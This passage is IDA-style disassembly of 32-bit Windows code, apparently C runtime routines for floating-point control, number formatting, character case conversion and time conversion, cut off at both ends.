mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4303F3 lea eax, [ebp+var_20] push eax call sub_420D8E add esp, 0Ch test eax, eax jnz short loc_4301E3 push esi call sub_430206 pop ecx loc_4301E3: ; CODE XREF: sub_43017E+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4301E9: ; CODE XREF: sub_43017E+14j push 0FFFFh push [ebp+arg_20] call sub_4303F3 push [ebp+arg_0] call sub_430206 fld [ebp+arg_18] add esp, 0Ch leave retn sub_43017E endp ; =============== S U B R O U T I N E ======================================= sub_430206 proc near ; CODE XREF: sub_42FC1C+7Dp ; sub_43017E+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_430222 jle short locret_43022D cmp eax, 3 jg short locret_43022D call sub_42F119 mov dword ptr [eax], 22h retn ; --------------------------------------------------------------------------- loc_430222: ; CODE XREF: sub_430206+7j call sub_42F119 mov dword ptr [eax], 21h locret_43022D: ; CODE XREF: sub_430206+9j ; sub_430206+Ej retn sub_430206 endp ; =============== S U B R O U T I N E ======================================= sub_43022E proc near ; CODE XREF: sub_43017E+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4535F8 loc_430235: ; CODE XREF: sub_43022E+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_43024B add eax, 8 inc ecx cmp eax, offset dbl_4536D0 jl short loc_430235 xor eax, eax retn ; --------------------------------------------------------------------------- loc_43024B: ; CODE XREF: sub_43022E+Dj mov eax, off_4535FC[ecx*8] retn sub_43022E endp ; =============== S U B R O U T I N E ======================================= sub_430253 proc near ; CODE XREF: sub_42FC1C+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_43025F push 5 jmp short loc_430275 ; --------------------------------------------------------------------------- loc_43025F: ; CODE XREF: sub_430253+6j test al, 8 jz short loc_430267 push 1 jmp short loc_430275 ; --------------------------------------------------------------------------- loc_430267: ; CODE XREF: sub_430253+Ej test al, 4 jz short loc_43026F push 2 jmp short loc_430275 ; --------------------------------------------------------------------------- loc_43026F: ; CODE XREF: sub_430253+16j test al, 1 jz short loc_430277 push 3 loc_430275: ; CODE XREF: sub_430253+Aj ; sub_430253+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_430277: ; CODE XREF: sub_430253+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_430253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_430280(double) sub_430280 proc near ; CODE XREF: sub_42A706:loc_42A78Cp var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_430280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_430292(double, int) sub_430292 proc near ; CODE XREF: sub_430315+82p ; sub_430315+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_430292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4302BB proc near ; CODE XREF: sub_42A706+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4302D2 cmp [ebp+arg_0], edx jnz short loc_4302E4 push 1 jmp short loc_43030E ; --------------------------------------------------------------------------- loc_4302D2: ; CODE XREF: sub_4302BB+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4302E4 cmp [ebp+arg_0], edx jnz short loc_4302E4 push 2 jmp short loc_43030E ; --------------------------------------------------------------------------- loc_4302E4: ; CODE XREF: sub_4302BB+11j ; sub_4302BB+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4302F7 push 3 jmp short loc_43030E ; --------------------------------------------------------------------------- loc_4302F7: ; CODE XREF: sub_4302BB+36j cmp cx, 7FF0h jnz short loc_430311 test [ebp+arg_4], 7FFFFh jnz short loc_43030C cmp [ebp+arg_0], edx jz short loc_430311 loc_43030C: ; CODE XREF: sub_4302BB+4Aj push 4 loc_43030E: ; CODE XREF: sub_4302BB+15j ; sub_4302BB+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_430311: ; CODE XREF: sub_4302BB+41j ; sub_4302BB+4Fj xor eax, eax pop ebp retn sub_4302BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_430315(double, int) sub_430315 proc near ; CODE XREF: sub_42FF67+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_437628 push esi fnstsw ax sahf jnz short loc_430335 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4303CB ; --------------------------------------------------------------------------- loc_430335: ; CODE XREF: sub_430315+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4303A4 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_43034D cmp dword ptr [ebp+arg_0], ecx jz short loc_4303A4 loc_43034D: ; CODE XREF: sub_430315+31j fld [ebp+arg_0] fcomp dbl_437628 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_430365 push 1 pop eax jmp short loc_430367 ; --------------------------------------------------------------------------- loc_430365: ; CODE XREF: sub_430315+49j xor eax, eax loc_430367: ; CODE XREF: sub_430315+4Ej ; sub_430315+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_430380 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_43037A or dword ptr [ebp+arg_0+4], 1 loc_43037A: ; CODE XREF: sub_430315+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_430367 ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: sub_430315+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_43038E or byte ptr [ebp+arg_0+7], 80h loc_43038E: ; CODE XREF: sub_430315+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_430292 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4303CB ; --------------------------------------------------------------------------- loc_4303A4: ; CODE XREF: sub_430315+28j ; sub_430315+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_430292 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4303CB: ; CODE XREF: sub_430315+1Bj ; sub_430315+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_430315 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4303D6 proc near ; CODE XREF: sub_42FCB4+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4303D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4303E4 proc near ; CODE XREF: sub_42FCB4+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4303E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4303F3 proc near ; CODE XREF: sub_42A706+13p ; sub_42A706+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4303F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430416 proc near ; CODE XREF: sub_42FF67+1Dp ; sub_42FF67+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_43042D fld tbyte_4536F8 fistp [ebp+arg_0] wait loc_43042D: ; CODE XREF: sub_430416+Bj test cl, 8 jz short loc_430442 fstsw ax fld tbyte_4536F8 fstp [ebp+var_8] wait fstsw ax loc_430442: ; CODE XREF: sub_430416+1Aj test cl, 10h jz short loc_430451 fld tbyte_453704 fstp [ebp+var_8] wait loc_430451: ; CODE XREF: sub_430416+2Fj test cl, 4 jz short loc_43045F fldz fld1 fdivrp st(1), st fstp st wait loc_43045F: ; CODE XREF: sub_430416+3Ej test cl, 20h jz short locret_43046A fldpi fstp [ebp+var_8] wait locret_43046A: ; CODE XREF: sub_430416+4Cj leave retn sub_430416 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43046C proc near ; CODE XREF: sub_42A7D5+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_430528 cmp ebx, 8Ah jg loc_430528 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_453C04[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4304AB cmp edi, 2 jle short loc_4304AB inc esi loc_4304AB: ; CODE XREF: sub_43046C+37j ; sub_43046C+3Cj call sub_433988 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_453B24 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_43051E cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_430524 cmp dword_453B28, 0 jz short loc_430524 lea eax, [ebp+var_24] push eax call sub_433C3D pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_430524 loc_43051E: ; CODE XREF: sub_43046C+90j add ecx, dword_453B2C loc_430524: ; CODE XREF: sub_43046C+96j ; sub_43046C+9Fj ... mov eax, ecx jmp short loc_43052B ; --------------------------------------------------------------------------- loc_430528: ; CODE XREF: sub_43046C+13j ; sub_43046C+1Fj or eax, 0FFFFFFFFh loc_43052B: ; CODE XREF: sub_43046C+BAj pop ebx leave retn sub_43046C endp ; =============== S U B R O U T I N E ======================================= sub_43052E proc near ; CODE XREF: sub_4306E1+9p arg_0 = dword ptr 4 push ebx xor ebx, ebx cmp dword_6769A8, ebx jnz short loc_43054C mov eax, [esp+4+arg_0] cmp eax, 41h jl short loc_43059B cmp eax, 5Ah jg short loc_43059B add eax, 20h pop ebx retn ; --------------------------------------------------------------------------- loc_43054C: ; CODE XREF: sub_43052E+9j push esi mov esi, offset dword_676EDC push edi push esi call dword_437224 ; InterlockedIncrement cmp dword_676ED8, ebx mov edi, dword_437220 jz short loc_430576 push esi call edi ; dword_437220 push 13h call sub_42DAEF pop ecx push 1 pop ebx loc_430576: ; CODE XREF: sub_43052E+38j push [esp+0Ch+arg_0] call sub_43059D test ebx, ebx pop ecx mov [esp+0Ch+arg_0], eax jz short loc_430592 push 13h call sub_42DB50 pop ecx jmp short loc_430595 ; --------------------------------------------------------------------------- loc_430592: ; CODE XREF: sub_43052E+58j push esi call edi ; dword_437220 loc_430595: ; CODE XREF: sub_43052E+62j mov eax, [esp+0Ch+arg_0] pop edi pop esi loc_43059B: ; CODE XREF: sub_43052E+12j ; sub_43052E+17j pop ebx retn sub_43052E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43059D proc near ; CODE XREF: sub_42A8C0+94p ; sub_42A8C0+9Ep ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_6769A8, 0 push ebx push esi push edi jnz short loc_4305CA mov eax, [ebp+arg_0] cmp eax, 41h jl loc_430663 cmp eax, 5Ah jg loc_430663 add eax, 20h jmp loc_430663 ; --------------------------------------------------------------------------- loc_4305CA: ; CODE XREF: sub_43059D+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4305FE cmp dword_4535C4, esi jle short loc_4305EC push esi push ebx call sub_42F12B pop ecx pop ecx jmp short loc_4305F6 ; --------------------------------------------------------------------------- loc_4305EC: ; CODE XREF: sub_43059D+42j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, esi loc_4305F6: ; CODE XREF: sub_43059D+4Dj test eax, eax jnz short loc_4305FE loc_4305FA: ; CODE XREF: sub_43059D+ADj mov eax, ebx jmp short loc_430663 ; --------------------------------------------------------------------------- loc_4305FE: ; CODE XREF: sub_43059D+3Aj ; sub_43059D+5Bj mov edx, off_4533B8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_430622 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_43062B ; --------------------------------------------------------------------------- loc_430622: ; CODE XREF: sub_43059D+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_43062B: ; CODE XREF: sub_43059D+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_6769A8 call sub_430D9F add esp, 20h test eax, eax jz short loc_4305FA cmp eax, esi jnz short loc_430656 movzx eax, [ebp+var_4] jmp short loc_430663 ; --------------------------------------------------------------------------- loc_430656: ; CODE XREF: sub_43059D+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_430663: ; CODE XREF: sub_43059D+16j ; sub_43059D+1Fj ... pop edi pop esi pop ebx leave retn sub_43059D endp ; =============== S U B R O U T I N E ======================================= sub_430668 proc near ; CODE XREF: sub_42A990+Fp push 30000h push 10000h call sub_433FFF pop ecx pop ecx retn sub_430668 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43067A proc near ; CODE XREF: sub_4306B8:loc_4306DCj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_437638 fstp [ebp+var_8] fld dbl_437630 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_437430 fnstsw ax sahf jbe short loc_4306B4 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4306B4: ; CODE XREF: sub_43067A+33j xor eax, eax leave retn sub_43067A endp ; =============== S U B R O U T I N E ======================================= sub_4306B8 proc near ; CODE XREF: sub_42A990+5p push offset aKernel32 ; "KERNEL32" call dword_437070 ; GetModuleHandleA test eax, eax jz short loc_4306DC push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_437030 ; GetProcAddress test eax, eax jz short loc_4306DC push 0 call eax ; sub_42A990 retn ; --------------------------------------------------------------------------- loc_4306DC: ; CODE XREF: sub_4306B8+Dj ; sub_4306B8+1Dj jmp sub_43067A sub_4306B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4306E1 proc near ; CODE XREF: sub_42DC7D+3CBp ; DATA XREF: sub_42A9A8+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_43052E cmp eax, 65h pop ecx jz short loc_430721 loc_4306F5: ; CODE XREF: sub_4306E1+3Ej inc esi cmp dword_4535C4, 1 jle short loc_43070E movsx eax, byte ptr [esi] push 4 push eax call sub_42F12B pop ecx pop ecx jmp short loc_43071D ; --------------------------------------------------------------------------- loc_43070E: ; CODE XREF: sub_4306E1+1Cj movsx eax, byte ptr [esi] mov ecx, off_4533B8 mov al, [ecx+eax*2] and eax, 4 loc_43071D: ; CODE XREF: sub_4306E1+2Bj test eax, eax jnz short loc_4306F5 loc_430721: ; CODE XREF: sub_4306E1+12j mov cl, byte_4535C8 mov al, [esi] mov [esi], cl inc esi loc_43072C: ; CODE XREF: sub_4306E1+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_43072C pop esi retn sub_4306E1 endp ; =============== S U B R O U T I N E ======================================= sub_43073B proc near ; CODE XREF: sub_42DC7D+3E2p ; DATA XREF: sub_42A9A8+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4535C8 mov cl, [eax] test cl, cl jz short loc_430757 loc_43074B: ; CODE XREF: sub_43073B+1Aj cmp cl, dl jz short loc_430757 mov cl, [eax+1] inc eax test cl, cl jnz short loc_43074B loc_430757: ; CODE XREF: sub_43073B+Ej ; sub_43073B+12j mov cl, [eax] inc eax test cl, cl jz short locret_430788 loc_43075E: ; CODE XREF: sub_43073B+34j mov cl, [eax] test cl, cl jz short loc_430771 cmp cl, 65h jz short loc_430771 cmp cl, 45h jz short loc_430771 inc eax jmp short loc_43075E ; --------------------------------------------------------------------------- loc_430771: ; CODE XREF: sub_43073B+27j ; sub_43073B+2Cj ... mov ecx, eax loc_430773: ; CODE XREF: sub_43073B+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_430773 cmp [eax], dl jnz short loc_43077E dec eax loc_43077E: ; CODE XREF: sub_43073B+40j ; sub_43073B+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_43077E locret_430788: ; CODE XREF: sub_43073B+21j retn sub_43073B endp ; =============== S U B R O U T I N E ======================================= sub_430789 proc near ; DATA XREF: sub_42A9A8+28o ; .text:off_45382Co arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_437628 fnstsw ax sahf jb short loc_43079E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_43079E: ; CODE XREF: sub_430789+Fj xor eax, eax retn sub_430789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307A1 proc near ; CODE XREF: sub_42E5F5+430p ; DATA XREF: sub_42A9A8+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4307CA lea eax, [ebp+var_8] push eax call sub_4344C2 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4307CA: ; CODE XREF: sub_4307A1+Cj lea eax, [ebp+arg_8] push eax call sub_4344EF mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4307A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307DF proc near ; CODE XREF: sub_430A91+47p var_3C = qword ptr -3Ch var_28 = byte ptr -28h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+var_28] push esi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+3Ch+var_3C] call sub_434593 mov esi, [ebp+arg_8] lea eax, [ebp+var_10] push eax mov edx, [ebp+arg_4] lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_10], 2Dh setz al xor ecx, ecx test esi, esi setnle cl add edx, eax add ecx, edx push ecx call sub_43451C lea eax, [ebp+var_10] push 0 push eax push [ebp+arg_C] push esi push [ebp+arg_4] call sub_430840 mov eax, [ebp+arg_4] add esp, 30h pop esi leave retn sub_4307DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430840 proc near ; CODE XREF: sub_4307DF+53p ; sub_4309FE+86p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_10], bl push esi mov esi, [ebp+arg_C] push edi mov edi, [ebp+arg_0] jz short loc_43086E xor eax, eax cmp [ebp+arg_4], ebx setnle al push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, edi push eax call sub_430AE2 pop ecx pop ecx loc_43086E: ; CODE XREF: sub_430840+11j cmp dword ptr [esi], 2Dh mov eax, edi jnz short loc_43087B mov byte ptr [edi], 2Dh lea eax, [edi+1] loc_43087B: ; CODE XREF: sub_430840+33j cmp [ebp+arg_4], ebx jle short loc_430892 mov dl, [eax+1] lea ecx, [eax+1] mov [eax], dl mov eax, ecx mov cl, byte_4535C8 mov [eax], cl loc_430892: ; CODE XREF: sub_430840+3Ej xor ecx, ecx cmp [ebp+arg_10], bl push offset aE000 ; "e+000" setz cl add ecx, eax add ecx, [ebp+arg_4] push ecx call sub_42A5D0 cmp [ebp+arg_8], ebx pop ecx pop ecx mov ecx, eax jz short loc_4308B6 mov byte ptr [ecx], 45h loc_4308B6: ; CODE XREF: sub_430840+71j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4308FB mov ebx, [esi+4] dec ebx jns short loc_4308CA neg ebx mov byte ptr [ecx], 2Dh loc_4308CA: ; CODE XREF: sub_430840+83j inc ecx cmp ebx, 64h jl short loc_4308E1 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4308E1: ; CODE XREF: sub_430840+8Ej inc ecx cmp ebx, 0Ah jl short loc_4308F8 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4308F8: ; CODE XREF: sub_430840+A5j add [ecx+1], bl loc_4308FB: ; CODE XREF: sub_430840+7Dj mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_430840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430902 proc near ; CODE XREF: sub_430A91+1Ep var_3C = qword ptr -3Ch var_28 = byte ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+var_28] push esi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+3Ch+var_3C] call sub_434593 mov esi, [ebp+arg_8] lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C] add eax, esi push eax xor eax, eax cmp [ebp+var_10], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_43451C lea eax, [ebp+var_10] push 0 push eax push esi push [ebp+arg_4] call sub_430957 mov eax, [ebp+arg_4] add esp, 2Ch pop esi leave retn sub_430902 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430957 proc near ; CODE XREF: sub_430902+47p ; sub_4309FE+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] mov ebx, [ebp+arg_0] push edi mov eax, [esi+4] dec eax cmp [ebp+arg_C], 0 jz short loc_430987 cmp eax, [ebp+arg_4] jnz short loc_430987 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebx mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 loc_430987: ; CODE XREF: sub_430957+14j ; sub_430957+19j cmp dword ptr [esi], 2Dh mov edi, ebx jnz short loc_430994 mov byte ptr [ebx], 2Dh lea edi, [ebx+1] loc_430994: ; CODE XREF: sub_430957+35j mov eax, [esi+4] test eax, eax jg short loc_4309AB push 1 push edi call sub_430AE2 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_4309AD ; --------------------------------------------------------------------------- loc_4309AB: ; CODE XREF: sub_430957+42j add edi, eax loc_4309AD: ; CODE XREF: sub_430957+52j cmp [ebp+arg_4], 0 jle short loc_4309F7 push 1 push edi call sub_430AE2 mov al, byte_4535C8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_4309F7 cmp [ebp+arg_C], 0 jz short loc_4309D6 neg esi jmp short loc_4309DD ; --------------------------------------------------------------------------- loc_4309D6: ; CODE XREF: sub_430957+79j neg esi cmp [ebp+arg_4], esi jl short loc_4309E0 loc_4309DD: ; CODE XREF: sub_430957+7Dj mov [ebp+arg_4], esi loc_4309E0: ; CODE XREF: sub_430957+84j push [ebp+arg_4] push edi call sub_430AE2 push [ebp+arg_4] push 30h push edi call sub_429760 add esp, 14h loc_4309F7: ; CODE XREF: sub_430957+5Aj ; sub_430957+73j pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_430957 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4309FE proc near ; CODE XREF: sub_430A91+34p var_44 = qword ptr -44h var_28 = byte ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+44h+var_44] call sub_434593 mov eax, [ebp+var_C] mov ebx, [ebp+arg_8] lea esi, [eax-1] xor eax, eax cmp [ebp+var_10], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_10] push eax push ebx push edi call sub_43451C mov eax, [ebp+var_C] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_430A77 cmp eax, ebx jge short loc_430A77 test cl, cl jz short loc_430A63 loc_430A59: ; CODE XREF: sub_4309FE+60j mov al, [edi] inc edi test al, al jnz short loc_430A59 and [edi-2], al loc_430A63: ; CODE XREF: sub_4309FE+59j lea eax, [ebp+var_10] push 1 push eax push ebx push [ebp+arg_4] call sub_430957 add esp, 10h jmp short loc_430A8C ; --------------------------------------------------------------------------- loc_430A77: ; CODE XREF: sub_4309FE+51j ; sub_4309FE+55j lea eax, [ebp+var_10] push 1 push eax push [ebp+arg_C] push ebx push [ebp+arg_4] call sub_430840 add esp, 14h loc_430A8C: ; CODE XREF: sub_4309FE+77j pop edi pop esi pop ebx leave retn sub_4309FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A91 proc near ; CODE XREF: sub_42DC7D+3AAp ; DATA XREF: sub_42A9A8o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_430ACC cmp [ebp+arg_8], 45h jz short loc_430ACC cmp [ebp+arg_8], 66h jnz short loc_430AB9 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_430902 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_430AB9: ; CODE XREF: sub_430A91+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4309FE jmp short loc_430ADD ; --------------------------------------------------------------------------- loc_430ACC: ; CODE XREF: sub_430A91+7j ; sub_430A91+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4307DF loc_430ADD: ; CODE XREF: sub_430A91+39j add esp, 10h pop ebp retn sub_430A91 endp ; =============== S U B R O U T I N E ======================================= sub_430AE2 proc near ; CODE XREF: sub_430840+27p ; sub_430957+47p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_430B05 push esi mov esi, [esp+8+arg_0] push esi call sub_4293A0 inc eax push eax push esi add esi, edi push esi call sub_42BA90 add esp, 10h pop esi loc_430B05: ; CODE XREF: sub_430AE2+7j pop edi retn sub_430AE2 endp ; =============== S U B R O U T I N E ======================================= sub_430B07 proc near ; CODE XREF: .text:0042C619p mov eax, off_450E68 test eax, eax jz short loc_430B12 call eax ; sub_42A990 loc_430B12: ; CODE XREF: sub_430B07+7j push offset dword_43A028 push 